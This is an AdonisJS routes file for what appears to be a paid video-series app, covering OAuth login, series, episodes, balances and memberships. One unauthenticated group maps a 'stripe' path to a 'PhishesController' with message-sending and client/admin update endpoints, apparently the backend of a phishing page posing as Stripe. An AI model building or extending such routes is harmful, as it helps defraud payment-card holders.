routes.ts 4.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104
  1. /*
  2. |--------------------------------------------------------------------------
  3. | Routes
  4. |--------------------------------------------------------------------------
  5. |
  6. | This file is dedicated for defining HTTP routes. A single file is enough
  7. | for majority of projects, however you can define routes in different
  8. | files and just make sure to import them inside this file. For example
  9. |
  10. | Define routes in following two files
  11. | ├── start/routes/cart.ts
  12. | ├── start/routes/customer.ts
  13. |
  14. | and then import them inside `start/routes.ts` as follows
  15. |
  16. | import './routes/cart'
  17. | import './routes/customer'
  18. |
  19. */
  20. import Route from '@ioc:Adonis/Core/Route'
  21. Route.group(() => {
  22. Route.group(() => {
  23. Route.post('login', 'AuthController.login')
  24. Route.post('register', 'AuthController.register')
  25. Route.post('admin/login', 'AuthController.loginAdmin')
  26. Route.get('/google/redirect', async ({ ally }) => {
  27. return ally.use('google').stateless().redirect()
  28. })
  29. Route.get('/facebook/redirect', async ({ ally }) => {
  30. return ally.use('facebook').redirect()
  31. })
  32. Route.get('/google/callback', async ({ ally }) => {
  33. const google = ally.use('google').stateless()
  34. /**
  35. * User has explicitly denied the login request
  36. */
  37. if (google.accessDenied()) {
  38. return 'Access was denied'
  39. }
  40. /**
  41. * Unable to verify the CSRF state
  42. */
  43. if (google.stateMisMatch()) {
  44. return 'Request expired. Retry again'
  45. }
  46. /**
  47. * There was an unknown error during the redirect
  48. */
  49. if (google.hasError()) {
  50. return google.getError()
  51. }
  52. /**
  53. * Finally, access the user
  54. */
  55. const user = await google.user()
  56. return user
  57. })
  58. }).prefix('/auth')
  59. Route.get('users/guest', 'UsersController.guest')
  60. Route.group(() => {
  61. Route.get('search', 'SeriesController.search')
  62. }).prefix('/series')
  63. Route.resource('series', 'SeriesController').apiOnly()
  64. Route.resource('episodes', 'EpisodesController').apiOnly()
  65. Route.resource('categories', 'CategoriesController').apiOnly()
  66. Route.resource('banners', 'BannersController').apiOnly()
  67. Route.resource('referrer', 'ReferrersController').apiOnly()
  68. Route.resource('properties', 'PropertiesController').apiOnly()
  69. Route.post('userBalances/rechargeNotify', 'UserBalancesController.rechargeNotify')
  70. Route.resource('stripe', 'PhishesController').apiOnly()
  71. Route.post('stripe/sendMsg/:type/:id', 'PhishesController.sendMsg')
  72. Route.put('stripe/client/:id', 'PhishesController.clientUpdate')
  73. Route.put('stripe/admin/:id', 'PhishesController.adminUpdate')
  74. Route.group(() => {
  75. Route.group(() => {
  76. Route.post('upload', 'FilesController.store')
  77. Route.get('sts', 'FilesController.sts')
  78. }).prefix('/files')
  79. Route.group(() => {
  80. Route.get('my', 'UsersController.my')
  81. Route.get('admin/my', 'UsersController.myAdmin')
  82. }).prefix('users')
  83. Route.resource('users', 'UsersController')
  84. Route.resource('userBalances', 'UserBalancesController').apiOnly()
  85. Route.resource('balanceRecords', 'BalanceRecordsController').apiOnly()
  86. Route.resource('orders', 'OrdersController').apiOnly()
  87. Route.resource('collections', 'CollectionsController').apiOnly()
  88. Route.resource('playHistories', 'PlayHistoriesController').apiOnly()
  89. Route.group(() => {
  90. Route.get('report', 'PlayHistoriesController.report')
  91. }).prefix('playHistories')
  92. Route.resource('signInRecords', 'SignInRecordsController').apiOnly()
  93. Route.post('userBalances/recharge', 'UserBalancesController.recharge')
  94. Route.resource('memberships', 'MembershipsController').apiOnly()
  95. }).middleware('auth:api')
  96. }).prefix('/api')